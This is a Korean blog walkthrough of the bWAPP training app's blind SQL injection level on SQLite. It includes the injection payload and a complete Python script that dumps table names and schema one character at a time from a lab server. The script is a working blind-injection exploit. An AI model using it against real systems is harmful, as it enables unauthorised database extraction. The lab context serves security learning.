Wargame/bWAPP

bWAPP A1 SQL Injection - Blind (SQLite)

0xe82de_ 2020. 10. 29. 22:13
728x90
728x90
728x90
 

itsecgames.com

 

www.itsecgames.com

[사진 1]

이전 문제들과 마찬가지로 영화 이름을 검색하고 존재유무를 알려주는 페이지이다. 다른 점은 mysql이 아닌 sqlite가 사용된다는 것이다. mysql이 사용되는 이전 문제들과 마찬가지로 테이블명, 컬럼명, 데이터를 참/거짓 출력을 이용하여 알아내면 되는데, sqlite에서 테이블 정보를 확인할 수 있는 테이블은 sqlite_master이다.

 

low

[사진 2]

low 레벨이다. sqlite의 경우 주석으로 "-" 문자 2개를 사용한다. 위와 같이 or 조건을 통해 참을 만들고 주석처리하면 "The movie exists in our database!" 문장이 출력됨을 알 수 있다. 무작위대입을 통해 DB명과 테이블명을 알아내는 python 코드를 짜봤다(소켓 오류가 발생할 수 있음.).

 

* code

 

0xe82de/bWAPP

Contribute to 0xe82de/bWAPP development by creating an account on GitHub.

github.com

 

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

def GetTables(urlTarget, cookies):  
  tables = []
  sqls = {}
  tempTable = ""
  tempSql = ""
  cntTables = 0
  checkEof = 0
  countTable = 1

  while(True):
    for i in range(1, 11): ## Maximum Length of table's name
      try:
        paramsTarget = {
          "title": "' or 1 and length((select tbl_name from sqlite_master limit " + str(countTable) + ", 1))=" + str(i) + "--",
          "action": "search"
        }


        r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)
      
      except OSError as e:
        i -= 1
        continue

      except Exception as e:
        print(e)
        print("[Length of table's name] Error...")
        exit(1)

      if 'The movie exists in our database!' in r.text:
        ## 테이블 길이를 알아냈으니 테이블 명 추측.
        for j in range(1, i+1):
          for k in range(32, 127): ## Ascii code
            try:
              if k != 34:
                paramsTarget = {
                  "title": "' or 1 and substr((select tbl_name from sqlite_master limit " + str(countTable) + ", 1), " + str(j) + ", 1)=\"" + chr(k) + "\"--",
                  "action": "search"
                }
              else:
                paramsTarget = {
                  "title": "' or 1 and substr((select tbl_name from sqlite_master limit " + str(countTable) + ", 1), " + str(j) + ", 1)=\"\"\"--",
                  "action": "search"
                }

              r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)

            except OSError as e:
              k -= 1
              continue

            except Exception as e:
              print(e)
              print("[table's name] Error...")
              exit(1)
            
            if 'The movie exists in our database!' in r.text:
              tempTable += chr(k)
              
              break

        tables.append(tempTable)

        ## length of sql column
        for x in range(1, 501):
          try:
            paramsTarget = {
              "title": "' or 1 and length((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"))=" + str(x) + "--",
              "action": "search"
            }

            r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)

          except OSError as e:
            x -= 1
            continue

          except Exception as e:
            print(e)
            print("[Length of sql column] Error...")
            exit(1)

          if 'The movie exists in our database!' in r.text:
            for y in range(1, x+1):
              for z in range(32, 127): ## Ascii code
                try:
                  if z != 34:
                    paramsTarget = {
                      "title": "' or 1 and substr((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"), " + str(y) + ", 1)=\"" + chr(z) + "\"--",
                      "action": "search"
                    }
                  else:
                    paramsTarget = {
                      "title": "' or 1 and substr((select sql from sqlite_master where tbl_name=\"" + tempTable + "\"), " + str(y) + ", 1)=\"\"\"--",
                      "action": "search"
                    }

                  r = requests.get(urlTarget, params=paramsTarget, cookies=cookies)

                except OSError as e:
                  z -= 1
                  continue
                  
                except Exception as e:
                  print(e)
                  print("[sql column] Error...")
                  exit(1)

                if 'The movie exists in our database!' in r.text:
                  tempSql += chr(z)
                  
                  break

            sqls[tempTable] = tempSql

        tempTable = ""
        tempSql = ""
        countTable += 1;
        break; # 테이블명 알아내고 다음 테이블

      else: ## False
        if (i == 10): ## sqlite 테이블명 길이가 최대 10이라고 가정하고, 길이 10까지 DB에 존재하지 않으면 모든 테이블 확인한 것으로 추측
          return tables, countTable, sqls
        
        continue;
  f.close()

def GetCookies(urlLogin, paramsLogin):
  try:
    session = requests.session()
    session.post(urlLogin, data=paramsLogin)

    return session.cookies.get_dict()

  except Exception as e:
    print(e)
    print("Error...")
    exit(1)

if __name__=="__main__":
  urlLogin = "http://192.168.91.135/bWAPP/login.php"
  urlTarget = "http://192.168.91.135/bWAPP/sqli_14.php"
  paramsLogin = {
    "login": "bee",
    "password": "bug",
    "security_level": "0",
    "form": "submit"
  }

  cookies = GetCookies(urlLogin, paramsLogin)
  print("## cookies ##")
  print(cookies)
  print("")

  print("Search for a table. It takes a long time if there are a lot of tables.\n")
  #GetTables(urlTarget, cookies)
  tables, cntTables, sqls = GetTables(urlTarget, cookies)
  print("## SQLite tables ##")
  print(tables)
  print("")
  print(sqls)

 

[사진 3]

위와 같이 SQLite DB 정보를 탈취할 수 있는데, 컬럼명을 알아냈으니 substr 함수를 이용하여 필드 데이터도 탈취할 수 있겠다.

 

medium, high

medium, high 레벨의 경우 이전 문제들과 마찬가지로 특수문자 필터링이 되므로 인젝션 공격이 어렵겠다.

728x90
728x90